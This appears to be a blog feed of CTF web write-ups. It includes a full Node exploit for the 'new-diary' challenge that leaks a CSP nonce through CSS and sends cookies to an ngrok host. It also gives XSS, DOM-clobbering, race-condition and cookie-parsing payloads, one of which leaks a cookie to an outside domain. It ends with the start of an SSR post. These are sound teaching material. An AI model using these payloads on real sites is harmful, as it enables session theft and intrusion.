const fs = require('fs')let chars = 'abcdefghijklmnopqrstuvwxyz0123456789'const host = 'https://ip.ngrok-free.app'let arr = []for(let a of chars) { for(let b of chars) { for(let c of chars) { let str = a+b+c; arr.push(str) } }}let payload1 = ''let crossPayload1 = 'url("/")'let payload2 = ''let crossPayload2 = 'url("/")'let payload3 = ''let crossPayload3 = 'url("/")'const third = Math.floor(arr.length / 3);const arr1 = arr.slice(0, third); const arr2 = arr.slice(third, 2 * third); const arr3 = arr.slice(2 * third); for(let str of arr1) { payload1 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload1 = `-webkit-cross-fade(${crossPayload1}, var(--${str}, none), 50%)`}for(let str of arr2) { payload2 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload2 = `-webkit-cross-fade(${crossPayload2}, var(--${str}, none), 50%)`}for(let str of arr3) { payload3 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload3 = `-webkit-cross-fade(${crossPayload3}, var(--${str}, none), 50%)`}payload1 = `${payload1} script{display:block;} script{background-image: ${crossPayload1}}`payload2 = `${payload2}script:after{content:'a';display:block;background-image:${crossPayload2} }`payload3 = `${payload3}script:before{content:'a';display:block;background-image:${crossPayload3} }`fs.writeFileSync('exp1.css', payload1, 'utf-8');fs.writeFileSync('exp2.css', payload2, 'utf-8');fs.writeFileSync('exp3.css', payload3, 'utf-8');
Then publish the completed file to npm to get a URL on unpkg.
The code is a bit messy and I’m too lazy to organize it, but basically, after running it, accessing /start
will automatically start the entire process.
Fortunately, I had read that article before, so I roughly knew how to solve it half an hour after the competition started. I spent the remaining two hours writing code 😆
import express from 'express'import {fetch, CookieJar} from "node-fetch-cookies";const app = express()const port = 3000const host = 'http://new-diary.ctf.0ops.sjtu.cn'const selfHost = 'https://ip.ngrok-free.app'const cssUrl = 'https://unpkg.com/your_pkg@1.0.0'const getRandomStr = len => Array(len).fill().map(_ => Math.floor(Math.random()*16).toString(16)).join('')let leaks = []let cookieJar = new CookieJar();let username = '';let hasToken = false;function mergeWords(arr, ending) { if (arr.length === 0) return ending if (!ending) { for(let i=0; i<arr.length; i++) { let isFound = false for(let j=0; j<arr.length; j++) { if (i === j) continue let suffix = arr[i][1] + arr[i][2] let prefix = arr[j][0] + arr[j][1] if (suffix === prefix) { isFound = true continue } } if (!isFound) { console.log('ending:', arr[i]) return mergeWords(arr.filter(item => item!==arr[i]), arr[i]) } } console.log('Error, please try again') return } let found = [] for(let i=0; i<arr.length; i++) { let length = ending.length let suffix = ending[0] + ending[1] let prefix = arr[i][1] + arr[i][2] if (suffix === prefix) { found.push([arr.filter(item => item!==arr[i]), arr[i][0] + ending]) } } return found.map((item) => { return mergeWords(item[0], item[1]) })}function handleLeak() { let str = '' let arr = [...leaks] leaks = [] console.log('received:', arr) const merged = mergeWords(arr, null); console.log('leaked:', merged.flat(99)) return merged.flat(99)}async function createNote(title, content){ return await fetch(cookieJar, host + '/write', { method: 'POST', headers: { 'content-type': 'application/x-www-form-urlencoded', }, body: `title=${encodeURIComponent(title)}&content=${encodeURIComponent(content)}` })}async function getNotes() { return await fetch(cookieJar, host + '/', { }).then(res => res.text())}async function share(id) { return await fetch(cookieJar, host + '/share_diary/' + id, { }).then(res => res.text())}async function report(username, id) { return await fetch(cookieJar, `${host}/report?username=${username}&id=${id}` , { }).then(res => res.text())}app.get('/', (req, res) => { res.send('Hello World!')})app.get('/start', async (req, res) => { // create ccount username = getRandomStr(8) let password = getRandomStr(8) leaks = [] hasToken = false console.log({ username, password }) const response = await fetch(cookieJar, host + '/login', { method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, body: `username=${username}&password=${password}` }) const resp = await createNote('note1', `<meta http-equiv="refresh" content="0;URL=${selfHost}/exp">`) await createNote('note2', `<style>@import "${cssUrl}/exp1.css";@import "${cssUrl}/exp2.css";@import "${cssUrl}/exp3.css";</style>`) console.log('done') await share(0) await share(1) console.log('report username:', username) console.log(await report(username, 0)) res.send('done')})app.get('/leak', async (req, res) => { leaks.push(req.query.q) console.log('recevied:', req.query.q, leaks.length) if (leaks.length === 30) { const result = handleLeak() // create a new note await createNote( 'note3', result.map(nonce => `<iframe srcdoc="<script nonce=${nonce}>top.location='${selfHost}/flag?q='+encodeURIComponent(top.document.cookie)</script>"></iframe>`) ); await share(2) hasToken = true; console.log('note3 cteated') } res.send('ok')})app.get('/flag', (req, res) => { console.log('flag', req.query.q) res.send('flag')})app.get('/hasToken', (req, res) => { console.log('polling...', hasToken) if (hasToken) { res.send('hasToken') } else { res.send('no') }})app.get('/exp', (req, res) => { console.log('visit exp') res.setHeader('content-type', 'text/html') res.send(` <script> let w = window.open('http://localhost/share/read#id=1&username=${username}') function polling() { fetch('/hasToken').then(res => res.text()).then((res) => { if (res === 'hasToken') { w.location = 'http://localhost/share/read#id=2&username=${username}' } }) setTimeout(() => { polling(); }, 500) } polling() </script> `)})app.listen(port, () => { console.log(`Example app listening on port ${port}`)})
By the way, if I hadn’t read that article, I’m not sure if I would have come up with this solution 😅
]]>這篇主要記一些網頁前端相關的題目,由於自己可能沒有實際下去解題,所以內容都是參考別人的筆記之後再記錄一些心得。
關鍵字列表:
來源:https://twitter.com/ryotkak/status/1710291366654181749
題目很簡單,就給你一個可編輯的 div 加上 Angular,允許任何的 user interaction,要做到 XSS。
<div contenteditable></div><script src="https://angular-no-http3.ryotak.net/angular.min.js"></script>
當初看到題目的時候有猜到應該跟 copy paste 有關,解答中有提到說在 <div contenteditable></div>
貼上內容時,是可以貼上 HTML 的。雖然瀏覽器後來有做 sanitizer,但並不會針對自訂的屬性。
也就是說,如果搭配其他 gadget 的話,還是有機會做到 XSS。
例如說作者的文章中提到的這個 pattern,因為有 AngularJS 的關係所以會執行程式碼:
<html ng-app> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script> <div ng-init="constructor.constructor('alert(1)')()"></div></html>
但問題是使用者在貼入 payload 的時候,AngularJS 已經載入完畢了。載入完成的時候如果 payload 還不存在,那就不會被執行,所以需要延長 AngularJS 載入的時間。
最後作者是用 connection pool 來解決這問題的,就是把 pool 塞爆,就可以延長 script 的載入時間,在載入完成以前貼好 payload。
作者 writeup:https://blog.ryotak.net/post/dom-based-race-condition/
來源:https://twitter.com/avlidienbrunn/status/1703805922043220273
題目如下:
<?php/*FROM php:7.0-apacheRUN a2dismod statusCOPY ./files/index.php /var/www/htmlCOPY ./files/harder.php /var/www/htmlEXPOSE 80*/$message = isset($_GET['message']) ? $_GET['message'] : 'hello, world';$type = isset($_GET['type']) ? $_GET['type'] : die(highlight_file(__FILE__));header("Content-Type: text/$type");header("X-Frame-Options: DENY");if($type == "plain"){ die("the message is: $message");}?><html><h1>The message is:</h1><hr/><pre> <input type="text" value="<?php echo preg_replace('/([^\s\w!-~]|")/','',$message);?>"></pre><br>solved by:<li> nobody yet!</li></html>
可以控制部分內容以及部分 content type,該怎麼做到 XSS?
第一招是讓 content type 為 text/html; charset=UTF-16LE
,就可以讓瀏覽器把頁面解讀為 UTF16,控制輸出內容。
這招讓我想到了 UIUCTF 2022 中的 modernism 那題。
第二招是先運用 content type header 的特性,當 response header 是 Content-Type: text/x,image/gif
時,因為 text/x
是非法的 content type,所以瀏覽器會優先看合法的 image/gif
。
也就是說,儘管 content type 的前半段是寫死的,依然可以利用這個技巧覆蓋掉完整的 content type。而有一個古老的 content type 叫做 multipart/mixed
,像是 response 版的 multipart/form,可以輸出像這樣的 response:
HTTP/1.1 200 OKContent-type: multipart/mixed;boundary="8ormorebytes"ignored_first_part_before_boundary--8ormorebytesContent-Type: text/html<img src=x onerror=alert(domain)>--8ormorebytesignored_last_part
瀏覽器會挑自己看得懂的部分去 render,而 Firefox 有支援這個 content type。
話說這個 content type 還可以拿來繞過 CSP,可以參考這個連結:https://twitter.com/ankursundara/status/1723410507389129092
題目:https://challenge-1023.intigriti.io/
在後端有個注入點:
<title>Intigriti XSS Challenge - <%- title %></title>
這個 title 來自於:
const getTitle = (path) => { path = decodeURIComponent(path).split("/"); path = path.slice(-1).toString(); return DOMPurify.sanitize(path);}
雖然說是 DOMPurify,看似不可繞過,但其實用 <div id="</title><h1>hello</h1>">
可以閉合前面的 <title>
,就可以注入任意 tag。
但這題的 input 是來自於 path,所以要把一些 /
弄掉,這邊最後是利用 innerHTML
會把屬性 decode 的特性,用 /
來取代 /
,最後湊出這樣的 payload:
/<p id="<%26sol%3Btitle><script>alert()<%26sol%3Bscript>">
這題的目標是要讀本地檔案,所以 XSS 是不夠的,下一步要想辦法從 XSS 繼續往下延伸。
這題的 flag 有 --disable-web-security
,SOP 被關掉了,可以讀到其他來源的 response,而 CDP 有 origin 的限制沒辦法完全使用,但有部分功能可以,例如說開啟一個新網頁之類的。
但因為檔案在本地,所以只有 file:///
開頭的檔案可以讀到其他本地檔案,因此目標就變成要想辦法在本地弄出一個檔案。
解法是在新的 headless mode 中,下載功能是預設開啟的,所以只要觸發下載以後,就會把檔案存到固定規則的位置,用 CDP 打開以後即可。
作者 writeup:https://mizu.re/post/intigriti-october-2023-xss-challenge
來源:https://twitter.com/kevin_mizu/status/1697625861543923906
題目是一個自製的 sanitizer:
class Sanitizer { // https://source.chromium.org/chromium/chromium/src/+/main:out/android-Debug/gen/third_party/blink/renderer/modules/sanitizer_api/builtins/sanitizer_builtins.cc;l=360 DEFAULT_TAGS = [ /* ... */ ]; constructor(config={}) { this.version = "2.0.0"; this.creator = "@kevin_mizu"; this.ALLOWED_TAGS = config.ALLOWED_TAGS ? config.ALLOWED_TAGS.concat([ "html", "head", "body" ]).filter(tag => this.DEFAULT_TAGS.includes(tag)) : this.DEFAULT_TAGS; this.ALLOWED_ATTS = config.ALLOWED_ATTS ? config.ALLOWED_ATTS.filter(attr => this.DEFAULT_ATTRS.includes(attr)) : this.DEFAULT_ATTRS; } // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L924 _isClobbered = function (elm) { return ( elm instanceof HTMLFormElement && (typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.removeChild !== 'function' || !(elm.attributes instanceof NamedNodeMap) || typeof elm.removeAttribute !== 'function' || typeof elm.setAttribute !== 'function' || typeof elm.namespaceURI !== 'string' || typeof elm.insertBefore !== 'function' || typeof elm.hasChildNodes !== 'function') ) } // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L1028 removeNode = (currentNode) => { const parentNode = currentNode.parentNode; const childNodes = currentNode.childNodes; if (childNodes && parentNode) { const childCount = childNodes.length; for (let i = childCount - 1; i >= 0; --i) { parentNode.insertBefore( childNodes[i].cloneNode(), currentNode.nextSibling ); } } currentNode.parentElement.removeChild(currentNode); } sanitize = (input) => { let currentNode; var dom_tree = new DOMParser().parseFromString(input, "text/html"); var nodeIterator = document.createNodeIterator(dom_tree); while ((currentNode = nodeIterator.nextNode())) { // avoid DOMClobbering if (this._isClobbered(currentNode) || typeof currentNode.nodeType !== "number") { this.removeNode(currentNode); continue; } switch(currentNode.nodeType) { case currentNode.ELEMENT_NODE: var tag_name = currentNode.nodeName.toLowerCase(); var attributes = currentNode.attributes; // avoid mXSS if (currentNode.namespaceURI !== "http://www.w3.org/1999/xhtml") { this.removeNode(currentNode); continue; // sanitize tags } else if (!this.ALLOWED_TAGS.includes(tag_name)){ this.removeNode(currentNode); continue; } // sanitize attributes for (let i=0; i < attributes.length; i++) { if (!this.ALLOWED_ATTS.includes(attributes[i].name)){ this.removeNode(currentNode); continue; } } } } return dom_tree.body.innerHTML; }}
內容有參考許多其他的 sanitizer library,像是 DOMPurify 等等。
這題的關鍵是以往對於 form 的 DOM clobber,都是像這樣:
<form id="test"> <input name=x></form>
理所當然地把元素放在 form 裡面,就可以污染 test.x
。
但其實還有一招是使用 form
屬性,就可以把元素放在外面:
<input form=test name=x><form id="test"></form>
這一題的 sanitizer 在移除元素時,是這樣做的:
removeNode = (currentNode) => { const parentNode = currentNode.parentNode; const childNodes = currentNode.childNodes; if (childNodes && parentNode) { const childCount = childNodes.length; for (let i = childCount - 1; i >= 0; --i) { parentNode.insertBefore( childNodes[i].cloneNode(), currentNode.nextSibling ); } } currentNode.parentElement.removeChild(currentNode);}
把要刪除的元素底下的 node,都插入到 parent 的 nextSibling 去。
因此,如果 clobber 了 nextSibling,製造出這樣的結構:
<input form=test name=nextSibling> <form id=test> <input name=nodeName> <img src=x onerror=alert(1)></form>
就會在移除 <form>
時,把底下的節點都插入到 <input form=test name=nextSibling>
後面,藉此繞過 sanitizer。
真有趣的題目!雖然知道有 form
這個屬性,但還沒想過可以拿來搭配 DOM clobbering。
作者的 writeup:https://twitter.com/kevin_mizu/status/1701922141791211776
來源是參考這篇 writeup:XSS, Race Condition, XS-Leaks and CSP & iframe’s sandbox bypass - LakeCTF 2023 GeoGuessy
先來看兩個有趣的 unintended,第一個是利用 cookie 不看 port 的特性,用其他題目的 XSS 來拿到 cookie,不同題目之間如果沒有隔離好就會這樣,例如說 SekaiCTF 2023 - leakless note 也是。
第二個是寫 code 的 bad practice 造成的 race condition。
在訪問頁面時會去設定 user,這邊的 user 是 global variable:
router.get('/', async (req, res) => { user = await db.getUserBy("token", req.cookies?.token) if (user) { isPremium = user.isPremium username = user.username return res.render('home',{username, isPremium}); } else { res.render('index'); }});
然後 update user 時也是用類似的模式,拿到 user 之後修改資料寫入:
router.post('/updateUser', async (req, res) => { token = req.cookies["token"] if (token) { user = await db.getUserBy("token", token) if (user) { enteredPremiumPin = req.body["premiumPin"] if (enteredPremiumPin == premiumPin) { user.isPremium = 1 } // ... await db.updateUserByToken(token, user) return res.status(200).json('yes ok'); } } return res.status(401).json('no');});
admin bot 每次都會執行 updateUser,把 admin user 的 isPremium 設定成 1。
由於 user 是 global variable,db 的操作又是 async 的,所以如果速度夠快的話,updateUser 裡的 user 會是另一個 user,就可以把自己的 user 設定成 premium account。
intended 的話是用 Scroll to Text Fragment (STTF) 來解。
參考資料:
用 WebVTT,一個顯示字幕的格式搭配 CSS selector video::cue(v[voice^="n1"])
來 xsleak。
https://developer.mozilla.org/en-US/docs/Web/CSS/::cue
真是有趣的 selector。
這題又是來自於 @kevin_mizu,前面已經有介紹過兩題他出的題目了,而這題又是一個有趣的題目!
這題有一個 admin bot 會設定 cookie,裡面有 flag,所以目標就是偷到這個 cookie,而核心程式碼如下:
@app.route("/render")def index(): settings = "" try: settings = loads(request.cookies.get("settings")) except: pass if settings: res = make_response(render_template("index.html", backgroundColor=settings["backgroundColor"] if "backgroundColor" in settings else "#ffde8c", textColor=settings["textColor"] if "textColor" in settings else "#000000", html=settings["html"] if "html" in settings else "" )) else: res = make_response(render_template("index.html", backgroundColor="#ffde8c", textColor="#000000")) res.set_cookie("settings", "{}") return res
Python 這邊主要會根據 cookie 內的參數來 render 頁面,template 如下:
<iframe id="render" sandbox="" srcdoc="<style>* { text-align: center; }</style>{{html}}" width="70%" height="500px"></iframe>
就算控制了 html,也只能在 sandbox iframe 裡面,不能執行程式碼,也不是 same origin。但以往如果要偷 cookie 的話,基本上都需要先有 same-origin 的 XSS 才行。
而前端的部分可以設定 cookie,但會過濾掉 html
這個字,所以不讓你設定 html:
const saveSettings = (settings) => { document.cookie = `settings=${settings}`;}const getSettings = (d) => { try { s = JSON.parse(d); delete s.html; return JSON.stringify(s); } catch { while (d != d.replaceAll("html", "")) { d = d.replaceAll("html", ""); } return d; }}window.onload = () => { const params = (new URLSearchParams(window.location.search)); if (params.get("settings")) { window.settings = getSettings(params.get("settings")); saveSettings(window.settings); renderSettings(window.settings); } else { window.settings = getCookie("settings"); } window.settings = JSON.parse(window.settings);
那這題到底要怎麼解呢?這一切都與 werkzeug 解析 cookie 時的邏輯有關。
先來講如何繞過那個 html 的檢查,在 werkzeug 裡面如果你的 cookie value 是用 ""
包住的話,會先進行 decode,因此 "\150tml"
會被 decode 成 "html"
,就可以繞過對於 html 關鍵字的檢查。
但繞過之後,要怎麼拿到 flag 呢?這就要用到 werkzeug 第二個解析 cookie 的特殊之處了。當 werkzeug 在解析 cookie 時,如果碰到 "
時,就會解析到下一個 "
為止。
舉例來說,假設 cookie 的內容是這樣:
Cookie: cookie1="abc; cookie2=def";
最後得到的結果會是:"cookie1": "abc; cookie2=def"
也就是說,如果我們在 flag 的前後各夾一個 cookie,就可以讓 flag 包含在 html 裡面,讓 flag 的內容出現在 html 中,再用其他任何方式把 cookie 拿走,底下直接用作者的 payload:
Cookie: settings="{\"\150tml\": "<img src='https://leak-domain/?cookie= ;flag=GH{FAKE_FLAG}; settings='>\"}"
看完這題才突然想到以前 DiceCTF 2023 也出現過類似的題目,那時候是 jetty 有這個行為:Web - jnotes (6 solves),看來搞不好還不少 web framework 有這個 parsing 行為。
]]>This post mainly documents some web front-end related challenges. Since I might not have personally solved them, the content is based on references from others’ notes, with some personal insights added.
Keyword list:
Source: https://twitter.com/ryotkak/status/1710291366654181749
The challenge is quite simple. You are given an editable div with AngularJS enabled, allowing any user interaction to achieve XSS.
<div contenteditable></div><script src="https://angular-no-http3.ryotak.net/angular.min.js"></script>
When I first saw the challenge, I guessed it should be related to copy-paste. The solution mentioned that when pasting content into <div contenteditable></div>
, HTML can be pasted. Although the browser later sanitizes it, it does not target custom attributes.
In other words, if combined with other gadgets, XSS can still be achieved.
For example, the author mentioned this pattern in their article, which executes code due to the presence of AngularJS:
<html ng-app> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script> <div ng-init="constructor.constructor('alert(1)')()"></div></html>
However, the problem is that when users paste the payload, AngularJS has already finished loading. If the payload doesn’t exist when the loading is complete, it won’t be executed. Therefore, the loading time of AngularJS needs to be extended.
In the end, the author used a connection pool to solve this problem. By overwhelming the pool, the loading time of the script can be extended, allowing the payload to be pasted before the loading is complete.
Author’s writeup: https://blog.ryotak.net/post/dom-based-race-condition/
Source: https://twitter.com/avlidienbrunn/status/1703805922043220273
The challenge is as follows:
<?php/*FROM php:7.0-apacheRUN a2dismod statusCOPY ./files/index.php /var/www/htmlCOPY ./files/harder.php /var/www/htmlEXPOSE 80*/$message = isset($_GET['message']) ? $_GET['message'] : 'hello, world';$type = isset($_GET['type']) ? $_GET['type'] : die(highlight_file(__FILE__));header("Content-Type: text/$type");header("X-Frame-Options: DENY");if($type == "plain"){ die("the message is: $message");}?><html><h1>The message is:</h1><hr/><pre> <input type="text" value="<?php echo preg_replace('/([^\s\w!-~]|")/','',$message);?>"></pre><br>solved by:<li> nobody yet!</li></html>
You can control part of the content and part of the content type. How can you achieve XSS?
The first trick is to set the content type to text/html; charset=UTF-16LE
, which allows the browser to interpret the page as UTF16 and control the output content.
This trick reminds me of the “modernism” challenge in UIUCTF 2022.
The second trick is to utilize the feature of the content type header. When the response header is Content-Type: text/x,image/gif
, because text/x
is an invalid content type, the browser will prioritize the valid image/gif
.
In other words, even though the first half of the content type is hardcoded, you can still use this technique to override the complete content type. There is an old content type called multipart/mixed
, which is like the response version of multipart/form and can output a response like this:
HTTP/1.1 200 OKContent-type: multipart/mixed;boundary="8ormorebytes"ignored_first_part_before_boundary--8ormorebytesContent-Type: text/html<img src=x onerror=alert(domain)>--8ormorebytesignored_last_part
The browser will render the part it understands, and Firefox supports this content type.
This content type could be used to bypass CSP as well. You can refer to this link: https://twitter.com/ankursundara/status/1723410507389129092
Challenge: https://challenge-1023.intigriti.io/
There is an injection point in the backend:
<title>Intigriti XSS Challenge - <%- title %></title>
This title comes from:
const getTitle = (path) => { path = decodeURIComponent(path).split("/"); path = path.slice(-1).toString(); return DOMPurify.sanitize(path);}
Although it seems that DOMPurify cannot be bypassed, you can actually close the preceding <title>
tag by using <div id="</title><h1>hello</h1>">
, allowing you to inject any tag.
However, the input for this challenge comes from the path, so some /
characters need to be removed. Here, the /
is replaced with /
because innerHTML
decodes attributes. Finally, the following payload is constructed:
/<p id="<%26sol%3Btitle><script>alert()<%26sol%3Bscript>">
The goal of this challenge is to read a local file, so XSS is not enough. The next step is to find a way to extend from XSS.
The flag for this challenge has --disable-web-security
, so SOP is disabled, allowing access to responses from other sources. However, CDP has restrictions on origin and cannot be fully used, but some functionalities are available, such as opening a new webpage.
Since the file is local, only files starting with file:///
can be read. Therefore, the goal is to find a way to create a file locally.
The solution is to trigger the download feature, which is enabled by default in the new headless mode. Once the download is triggered, the file will be saved to a fixed location. It can then be opened using CDP.
Author’s writeup: https://mizu.re/post/intigriti-october-2023-xss-challenge
Source: https://twitter.com/kevin_mizu/status/1697625861543923906
The challenge is a homemade sanitizer:
class Sanitizer { // https://source.chromium.org/chromium/chromium/src/+/main:out/android-Debug/gen/third_party/blink/renderer/modules/sanitizer_api/builtins/sanitizer_builtins.cc;l=360 DEFAULT_TAGS = [ /* ... */ ]; constructor(config={}) { this.version = "2.0.0"; this.creator = "@kevin_mizu"; this.ALLOWED_TAGS = config.ALLOWED_TAGS ? config.ALLOWED_TAGS.concat([ "html", "head", "body" ]).filter(tag => this.DEFAULT_TAGS.includes(tag)) : this.DEFAULT_TAGS; this.ALLOWED_ATTS = config.ALLOWED_ATTS ? config.ALLOWED_ATTS.filter(attr => this.DEFAULT_ATTRS.includes(attr)) : this.DEFAULT_ATTRS; } // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L924 _isClobbered = function (elm) { return ( elm instanceof HTMLFormElement && (typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.removeChild !== 'function' || !(elm.attributes instanceof NamedNodeMap) || typeof elm.removeAttribute !== 'function' || typeof elm.setAttribute !== 'function' || typeof elm.namespaceURI !== 'string' || typeof elm.insertBefore !== 'function' || typeof elm.hasChildNodes !== 'function') ) } // https://github.com/cure53/DOMPurify/blob/48bd850cc20190e3896cb6291367c2da2ed2bddb/src/purify.js#L1028 removeNode = (currentNode) => { const parentNode = currentNode.parentNode; const childNodes = currentNode.childNodes; if (childNodes && parentNode) { const childCount = childNodes.length; for (let i = childCount - 1; i >= 0; --i) { parentNode.insertBefore( childNodes[i].cloneNode(), currentNode.nextSibling ); } } currentNode.parentElement.removeChild(currentNode); } sanitize = (input) => { let currentNode; var dom_tree = new DOMParser().parseFromString(input, "text/html"); var nodeIterator = document.createNodeIterator(dom_tree); while ((currentNode = nodeIterator.nextNode())) { // avoid DOMClobbering if (this._isClobbered(currentNode) || typeof currentNode.nodeType !== "number") { this.removeNode(currentNode); continue; } switch(currentNode.nodeType) { case currentNode.ELEMENT_NODE: var tag_name = currentNode.nodeName.toLowerCase(); var attributes = currentNode.attributes; // avoid mXSS if (currentNode.namespaceURI !== "http://www.w3.org/1999/xhtml") { this.removeNode(currentNode); continue; // sanitize tags } else if (!this.ALLOWED_TAGS.includes(tag_name)){ this.removeNode(currentNode); continue; } // sanitize attributes for (let i=0; i < attributes.length; i++) { if (!this.ALLOWED_ATTS.includes(attributes[i].name)){ this.removeNode(currentNode); continue; } } } } return dom_tree.body.innerHTML; }}
It references many other sanitizer libraries, such as DOMPurify.
The key to this challenge is the DOM clobbering of forms, which is usually done like this:
<form id="test"> <input name=x></form>
By placing the element inside a form, test.x
can be polluted.
However, there is another trick using the form
attribute to place the element outside:
<input form=test name=x><form id="test"></form>
In this challenge, when removing elements, the sanitizer does it like this:
removeNode = (currentNode) => { const parentNode = currentNode.parentNode; const childNodes = currentNode.childNodes; if (childNodes && parentNode) { const childCount = childNodes.length; for (let i = childCount - 1; i >= 0; --i) { parentNode.insertBefore( childNodes[i].cloneNode(), currentNode.nextSibling ); } } currentNode.parentElement.removeChild(currentNode);}
It inserts the nodes under the element to be deleted into the parent’s nextSibling
.
Therefore, if the nextSibling
is clobbered and the following structure is created:
<input form=test name=nextSibling> <form id=test> <input name=nodeName> <img src=x onerror=alert(1)></form>
When removing the <form>
, all the nodes underneath will be inserted after <input form=test name=nextSibling>
, bypassing the sanitizer.
This is a really interesting challenge! Although I knew about the form
attribute, I never thought it could be used in combination with DOM clobbering.
Author’s writeup: https://twitter.com/kevin_mizu/status/1701922141791211776
The source is referenced from this writeup: XSS, Race Condition, XS-Leaks and CSP & iframe’s sandbox bypass - LakeCTF 2023 GeoGuessy
Let’s start with two interesting unintended issues. The first one is exploiting the feature of cookies not considering the port, allowing the retrieval of cookies using XSS from other challenges. If there is no proper isolation between different challenges, this can happen, as seen in SekaiCTF 2023 - leakless note.
The second one is a race condition caused by bad coding practices.
When accessing the page, the user is set as a global variable:
router.get('/', async (req, res) => { user = await db.getUserBy("token", req.cookies?.token) if (user) { isPremium = user.isPremium username = user.username return res.render('home',{username, isPremium}); } else { res.render('index'); }});
Then, when updating the user, a similar pattern is used. After obtaining the user, the data is modified and written:
router.post('/updateUser', async (req, res) => { token = req.cookies["token"] if (token) { user = await db.getUserBy("token", token) if (user) { enteredPremiumPin = req.body["premiumPin"] if (enteredPremiumPin == premiumPin) { user.isPremium = 1 } // ... await db.updateUserByToken(token, user) return res.status(200).json('yes ok'); } } return res.status(401).json('no');});
The admin bot executes the updateUser
function every time, setting the isPremium
property of the admin user to 1.
Since the user is a global variable and the database operations are asynchronous, if the execution is fast enough, the user
inside the updateUser
function will be a different user, allowing the user to set their own account as a premium account.
The intended solution is to use Scroll to Text Fragment (STTF) to resolve the issue.
References:
Using WebVTT, a subtitle display format, in conjunction with the CSS selector video::cue(v[voice^="n1"])
to perform an XS-Leak attack.
https://developer.mozilla.org/en-US/docs/Web/CSS/::cue
It’s an interesting selector indeed.
Source: Another HTML Renderer
This challenge is also from @kevin_mizu. We have already introduced two challenges from him before, and this one is another interesting challenge!
In this challenge, there is an admin bot that sets a cookie containing a flag. The goal is to steal this cookie. The core code is as follows:
@app.route("/render")def index(): settings = "" try: settings = loads(request.cookies.get("settings")) except: pass if settings: res = make_response(render_template("index.html", backgroundColor=settings["backgroundColor"] if "backgroundColor" in settings else "#ffde8c", textColor=settings["textColor"] if "textColor" in settings else "#000000", html=settings["html"] if "html" in settings else "" )) else: res = make_response(render_template("index.html", backgroundColor="#ffde8c", textColor="#000000")) res.set_cookie("settings", "{}") return res
In Python, the page is rendered based on the parameters in the cookie. The template is as follows:
<iframe id="render" sandbox="" srcdoc="<style>* { text-align: center; }</style>{{html}}" width="70%" height="500px"></iframe>
Even if you control the HTML, you can only do so within a sandbox iframe, where you cannot execute code and it is not the same origin. In the past, stealing a cookie usually required a same-origin XSS vulnerability.
On the frontend, you can set cookies, but the string “html” is filtered out, so you cannot set the cookie with the string “html”:
const saveSettings = (settings) => { document.cookie = `settings=${settings}`;}const getSettings = (d) => { try { s = JSON.parse(d); delete s.html; return JSON.stringify(s); } catch { while (d != d.replaceAll("html", "")) { d = d.replaceAll("html", ""); } return d; }}window.onload = () => { const params = (new URLSearchParams(window.location.search)); if (params.get("settings")) { window.settings = getSettings(params.get("settings")); saveSettings(window.settings); renderSettings(window.settings); } else { window.settings = getCookie("settings"); } window.settings = JSON.parse(window.settings);
So how do you solve this challenge? It all comes down to the quirks of Werkzeug’s cookie parsing logic.
Let’s first talk about how to bypass the check for the string “html”. In Werkzeug, if your cookie value is wrapped in ""
, it will be decoded first. Therefore, "\150tml"
will be decoded as "html"
, allowing you to bypass the check for the keyword “html”.
But after bypassing that, how do you get the flag? This is where the second quirk of Werkzeug’s cookie parsing comes into play. When Werkzeug parses a cookie, if it encounters a "
character, it will parse until the next "
character.
For example, if the cookie content is like this:
Cookie: cookie1="abc; cookie2=def";
The result will be: "cookie1": "abc; cookie2=def"
In other words, if we sandwich the flag between two cookies, we can include the flag in the HTML, and then find a way to retrieve the cookie. Here is an example payload provided by the author:
Cookie: settings="{\"\150tml\": "<img src='https://leak-domain/?cookie= ;flag=GH{FAKE_FLAG}; settings='>\"}"
After reading this challenge, I suddenly remembered a similar challenge from DiceCTF 2023, where Jetty had this behavior: Web - jnotes (6 solves). It seems that there are quite a few web frameworks with this parsing behavior.
]]>renderToString
把 React 渲染成字串,但是沒有資料,資料會在前端拿renderToString
輸出 HTML,在 client 端時會做 hydration 讓頁面可以互動有一種人認為只要是由後端產生出畫面,就叫做 SSR,所以 1 ~ 5 全部都是 SSR。也有一種人認為前端必須先是 SPA,此時搭配的後端才能叫做 SSR,所以 2~5 都是 SSR;而另一種人則認為 SSR 的重點是 hydration,所以只有 5(或是 45)是 SSR。
下圖是我自己在推特簡單調查的結果,可以看見意見確實是有分歧的:
五年前的時候我就有寫過一篇文章在講 SPA 與 SSR:跟著小明一起搞懂技術名詞:MVC、SPA 與 SSR,那時候的我跟現在的我想法是一致的。
「現在的我」指的是還沒完全整理好想法,正在寫這段前言,底下都還沒寫好的我,等寫完以後會在結尾處再講「之後的我」的想法。但總之呢,現在的我的想法是,「並不是所有從 Server 產生出畫面的方式都『適合』稱作 SSR」。
先來看一個假想情境:
A:欸,你們公司網頁是用什麼方式 render 啊?
B:就 SSR 啊
A:是喔,那你們是用什麼框架處理 SSR?
B:就普通 PHP 而已,沒有用框架,前端就 jQuery
再看一個:
A:最近在解 SSR 的問題搞到好煩,資料好難弄
B:還好吧,我們用 PHP 都用得滿順利的啊
雖然說 server-side rendering 這個詞從字面上來看,就是指由 server 進行渲染,所以要說 PHP 是 SSR 從字面上看沒什麼問題,但我認為重點是「為什麼需要 SSR 這個詞」?
我的理解是在 SPA 還不流行的年代,根本沒什麼東西是 CSR(Client-side rendering),所以根本也不需要 SSR 這個詞。那時你只會說:「我們公司用 PHP」,而不是說:「我們公司用 PHP 做 SSR」。
